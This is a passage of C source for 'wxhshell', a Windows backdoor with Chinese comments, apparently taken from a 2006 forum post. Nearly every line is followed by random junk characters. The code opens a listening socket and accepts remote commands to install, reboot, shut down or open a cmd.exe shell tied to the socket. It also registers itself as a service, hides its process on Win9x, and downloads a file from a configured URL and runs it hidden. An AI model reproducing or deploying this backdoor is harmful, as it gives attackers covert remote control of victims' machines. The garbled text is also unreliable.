  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QKDY:1]  
  } ]1>U@oK  
  else { ^} P|L  
Fy3&Emu  
    switch(cmd[0]) { Y0:y72mK  
  8aQ\Yx  
  // 帮助 $m]~d6  
  case '?': { <"Z]S^>$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [8l;X:  
    break; `d2}>  
  } B.vg2N  
  // 安装 r+-KrO'  
  case 'i': { Pf5RlpL:p  
    if(Install()) S/Pffal  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SUsD)!u_H  
    else z1XFc*5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ) E.KB6  
    break; n0q5|ES  
    } o65:)z u  
  // 卸载 u POmi F  
  case 'r': { gO_{(\w*  
    if(Uninstall()) %p6"Sg*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o6,$;-?F_  
    else ye=*m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sr Z\]  
    break; 3CK4a,]Dm  
    } N>!RKf:ir  
  // 显示 wxhshell 所在路径 pMnkh}Q#  
  case 'p': { L!s/0kBg  
    char svExeFile[MAX_PATH]; _\waA^ F  
    strcpy(svExeFile,"\n\r"); % \p:S)R  
      strcat(svExeFile,ExeFile); 2mN>7Tj:  
        send(wsh,svExeFile,strlen(svExeFile),0); mJe;BU"y]  
    break; Mk9'  
    } ~9c?g(0  
  // 重启 w|!>>W6J  
  case 'b': { W8+Daw1Nr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =$;i  
    if(Boot(REBOOT)) V1 T?T9m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;M}'\.  
    else { >U.TkB  
    closesocket(wsh); roT$dL P)w  
    ExitThread(0); u~FXO[b  
    } 0PO'9#  
    break; ?JO x9;`  
    } }w .[ZeP  
  // 关机 n:d]Z2b  
  case 'd': { L1ZhH3}X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ovJ#2_  
    if(Boot(SHUTDOWN)) %>B?WR\yE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o5?f]Uq5 ,  
    else { g]?&qF}  
    closesocket(wsh); k?ubr)[)  
    ExitThread(0); Wh6jr=>G  
    } # 12  
    break; Z ? `  
    } Mqc"  
  // 获取shell H1X38  
  case 's': { ?;Dh^mc  
    CmdShell(wsh); ^*(*tS|M  
    closesocket(wsh); ep`WYR|B  
    ExitThread(0); I@IZ1 /J,r  
    break; A8 V7\  
  } Z]f_? @0  
  // 退出 1sx@Nvlb  
  case 'x': { ): HjpJvF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (8DJf"}  
    CloseIt(wsh); ?,~B@Kx  
    break; ,>%2`Z)  
    } j f25Ky~  
  // 离开 pJ35M  
  case 'q': { <y#-I%ed  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ` b a}6D  
    closesocket(wsh); :L gFd  
    WSACleanup(); *y +T(73  
    exit(1); [@d$XC]Qz  
    break; a9S0glbwf  
        } d l_ h0  
  } ;|_aACina  
  } 6[fpe  
_K"|}bM  
  // 提示信息 `k b]tf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \HX'^t`  
} {(;dHF%{  
  } lnuf_;0  
F:nhSd  
  return; IB9[Lx  
}  PI_MSiYQ  
(T;4'c  
// shell模块句柄 )p*I(y  
int CmdShell(SOCKET sock) T"7Ue  
{ NAd|n+[d  
STARTUPINFO si; ):"Z7~j=  
ZeroMemory(&si,sizeof(si)); ?+#|h;M8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qxS=8#-`(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ct,B0(]  
PROCESS_INFORMATION ProcessInfo; ~ [L4,q  
char cmdline[]="cmd"; xs+pCK|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #ra"(/)  
  return 0; ]WlE9z7:8  
} WJH-~,u  
~uqpF-.  
// 自身启动模式 ~aKM+KmtPH  
int StartFromService(void) Z*&y8;vUQ  
{ irj{Or^k  
typedef struct b=nQi./f  
{ ffMh2   
  DWORD ExitStatus; !RX\">z  
  DWORD PebBaseAddress; TZ#(G  
  DWORD AffinityMask; nx{_^sK  
  DWORD BasePriority; 'Cw&9cL9w  
  ULONG UniqueProcessId; {OFbU  
  ULONG InheritedFromUniqueProcessId; 1Rrp#E}  
}   PROCESS_BASIC_INFORMATION; * V;L|c  
0 *!CJ;%N  
PROCNTQSIP NtQueryInformationProcess; kLc}a5;  
OZ{YQ}t{^1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JjBG9Rp{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <dzfD;  
<}e2\x  
  HANDLE             hProcess; 5=< y%VF  
  PROCESS_BASIC_INFORMATION pbi; \:>GF-Z(  
Ns?qLSN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )_[eqr  
  if(NULL == hInst ) return 0; Md!L@gX6<  
5]C}044  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w-f[h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =W+ h.?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m417=wf  
P .I <.e  
  if (!NtQueryInformationProcess) return 0; tG!ApL  
21(8/F ~{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Po+I!TL'  
  if(!hProcess) return 0; }M3f ?Jv  
oWCy%76@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "9mVBa|Q  
n*%o!=  
  CloseHandle(hProcess); j_=A)B?  
ii0{$}eoh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3O{*~D&n  
if(hProcess==NULL) return 0; #&Xr2?E@  
AH*{Bi[vX  
HMODULE hMod; ~!PAs_O  
char procName[255]; vTrjhTa\  
unsigned long cbNeeded; $bf&ct*$h  
4J#F;#iA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9VqE:c /  
cvoE4&m!  
  CloseHandle(hProcess); uJBs3X  
. X  (^E  
if(strstr(procName,"services")) return 1; // 以服务启动 !_zp'V]?  
rL{3O4O  
  return 0; // 注册表启动 "EA6RFRD  
} }>)e~\Tdzb  
w$ zX.;s  
// 主模块 'brt?oZ%  
int StartWxhshell(LPSTR lpCmdLine) 977%9z<h  
{ <Mdyz!  
  SOCKET wsl; KyQO>g{R  
BOOL val=TRUE; ;3 N0)  
  int port=0; |I; tBqN{u  
  struct sockaddr_in door; k,) xv?  
hLs<g!*O  
  if(wscfg.ws_autoins) Install(); B8XW+U  
cr}T ? $\K  
port=atoi(lpCmdLine); :5Y yI.T  
7(ni_|$|  
if(port<=0) port=wscfg.ws_port; |rjHH<  
-4rXOmiA  
  WSADATA data; Qqp_(5S|>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P}YtT3. K  
Y]zy=8q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   NNKI+!vg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =H<I` J'  
  door.sin_family = AF_INET; tl:V8sYTP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xiWP^dIF  
  door.sin_port = htons(port); 4trP*u,4  
HDmjt+3&n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $)HD`E  
closesocket(wsl); uX.^zg]}%  
return 1; zmA]@'j  
} h/)kd3$*'  
IE)$ .%q;)  
  if(listen(wsl,2) == INVALID_SOCKET) { Ri<7!Y?l  
closesocket(wsl); S]}hh,A  
return 1; q <, b  
} (D\7EH\9,]  
  Wxhshell(wsl); >MTrq%.  
  WSACleanup(); p`dH4y]D  
R6(sWN-  
return 0; 1*x;jO>Hk  
?%|w?Fdx-  
} O c[F  
wjq;9%eXk  
// 以NT服务方式启动 [~aRA'qJ{V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Qu  x1N  
{ %>z4hH,  
DWORD   status = 0; |41NRGgY  
  DWORD   specificError = 0xfffffff; 0[# zn  
K@f@vyw]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6-fdfU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }Wk^7[Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3R}O3#lj,  
  serviceStatus.dwWin32ExitCode     = 0; {h}0"5  
  serviceStatus.dwServiceSpecificExitCode = 0; .83{NF  
  serviceStatus.dwCheckPoint       = 0; Jbv[Ql#  
  serviceStatus.dwWaitHint       = 0; X7bS{GT  
*(,zPn,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8gHOs#\  
  if (hServiceStatusHandle==0) return; /wR,P  
hf JeVT-/v  
status = GetLastError(); ~6Xr^An/Z  
  if (status!=NO_ERROR)  ?W3l  
{ 18HmS>Qo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QX`T-)T e  
    serviceStatus.dwCheckPoint       = 0; r6b;v2!8  
    serviceStatus.dwWaitHint       = 0; f@j)t%mh  
    serviceStatus.dwWin32ExitCode     = status; /<R[X>]<F  
    serviceStatus.dwServiceSpecificExitCode = specificError; Irc(5rD7   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u_Wftb?9  
    return; % tE#%;Z  
  } ppP0W `p  
NT0im%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hr/H vB  
  serviceStatus.dwCheckPoint       = 0; m|M'vzu1  
  serviceStatus.dwWaitHint       = 0; =pCO1<wR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^[6S]Ft(  
} L25v7U  
!U "?vSl  
// 处理NT服务事件,比如:启动、停止 A<U9$"j9J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \C}_l+nY  
{ n/6qc3\5i  
switch(fdwControl) W\pO`FL  
{ +V` *  
case SERVICE_CONTROL_STOP: QFNw2:)  
  serviceStatus.dwWin32ExitCode = 0; fP KFU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Wb%t6N?  
  serviceStatus.dwCheckPoint   = 0; {8pN]=SaJ~  
  serviceStatus.dwWaitHint     = 0; 1EemVZdY  
  { $`&zIz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;{Nc9d  
  } 1PUeU+  
  return; KCl85Wi'  
case SERVICE_CONTROL_PAUSE: vveL|j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Rn_FYP  
  break; Fd;%wWY.zm  
case SERVICE_CONTROL_CONTINUE: Fl}{"eCF8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u Wxl\+_i  
  break; M~ku4ZP  
case SERVICE_CONTROL_INTERROGATE: \\)9QP?  
  break; o JX4+uJ  
}; 7t3ps  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2r"J"C  
} >]<4t06D  
!Z!X]F-fY  
// 标准应用程序主函数 a{@gzB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [:(hqi!  
{ U}R (  
{fI"p;|  
// 获取操作系统版本 mlO\wn-F  
OsIsNt=GetOsVer(); #GuN.`__n,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @h,3"2W{Ev  
OsV'&@+G>  
  // 从命令行安装 `{1~]?-&  
  if(strpbrk(lpCmdLine,"iI")) Install(); E*"oA1/I  
WNSY@q  
  // 下载执行文件 ;J,`v5z0:  
if(wscfg.ws_downexe) { (b8ZADI*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &7r73~TXm  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0fog/c#q(  
} ;R([w4[~  
J3XrlSc  
if(!OsIsNt) { ugzrG0=lx  
// 如果时win9x,隐藏进程并且设置为注册表启动 2GxkOch  
HideProc(); KP&$Sl  
StartWxhshell(lpCmdLine); (>SucUU  
} P?hB`5X  
else PJL [En*  
  if(StartFromService()) K/0Wp %  
  // 以服务方式启动 2QgD<  
  StartServiceCtrlDispatcher(DispatchTable); im@QJ :  
else 9~{,Hj1xE  
  // 普通方式启动 X@ S~D7|ja  
  StartWxhshell(lpCmdLine); @xeJ$ rlu  
l?B=5*0  
return 0; k_`h (R  
}
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只看该作者 1 发表于: 2006-10-10
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